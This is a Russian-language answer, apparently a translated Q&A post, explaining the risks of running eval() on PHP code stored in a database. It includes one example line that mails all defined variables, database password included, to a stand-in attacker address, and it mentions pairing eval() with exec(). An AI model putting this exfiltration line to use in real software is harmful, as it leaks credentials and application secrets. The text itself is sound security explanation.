eval()
не является небезопасным. Но это безопасно только в том случае, если код, который он оценивает, является безопасным. Таким образом, мы могли бы придумать пример кода, который делает что-то плохое, предположим, что каким-то образом этот код хранится в вашей базе данных, и boom .
Код, который хранится в другом месте, не является частью вашего проекта, не проверяется кодом, не отслеживается в git и не проверяется модулем. Код в основном не оценивается с точки зрения безопасности, поэтому нет гарантии безопасности. Другими словами, с точки зрения обеспечения качества это слабый план качества, поскольку безопасность кода является частью качества кода.
Любой, имеющий доступ к вашей базе данных, может изменить код, и затем этот код выполняется, я полагаю, без какого-либо рассмотрения. Код не имеет ограничений доступа; он может ссылаться и даже изменять переменные в приложении, которое его вызывает. Итак, вопрос в том, как меняется код в вашей базе данных? У кого есть доступ? Что такое процесс проверки кода? Что такое процесс тестирования?
В дополнение к SQL-инъекции, которая может незаконно изменить код PHP в базе данных, есть также безопасность любой аутентификации, которую вы используете для пользователей, прежде чем они смогут вносить авторизованные изменения в код. Я предполагаю, что ваше приложение имеет некоторый интерфейс для изменения кода в базе данных через веб-интерфейс.
Вы запросили доказательства, по которым, я полагаю, вам нужен пример кода, который мог бы сделать что-то плохое, если бы его оценивали.
Если я смогу организовать что-то вроде следующего кода для хранения в вашей базе данных и eval()
этого кода, я смогу получить много информации о вашем приложении. Например. пароль вашей базы данных, ваши методы аутентификации, версия фреймворка, который вы используете ... все виды вещей.
mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));
Существуют аналогичные функции, такие как get_defined_functions()
. Или даже вернуть свой собственный исходный код с open(__FILE__)
. Злоумышленник может быстро узнать, где в вашем коде есть другие дыры в безопасности.
Кроме того, существуют различные способы, которыми PHP-код может получить информацию о вашем сервере или внести изменения в ваш сервер. Объедините eval()
с кодом, который использует exec()
, и вы можете запустить любую команду на сервере. По крайней мере, он работает под uid, от имени которого работает http-сервер, - который, я надеюсь, не является пользователем root.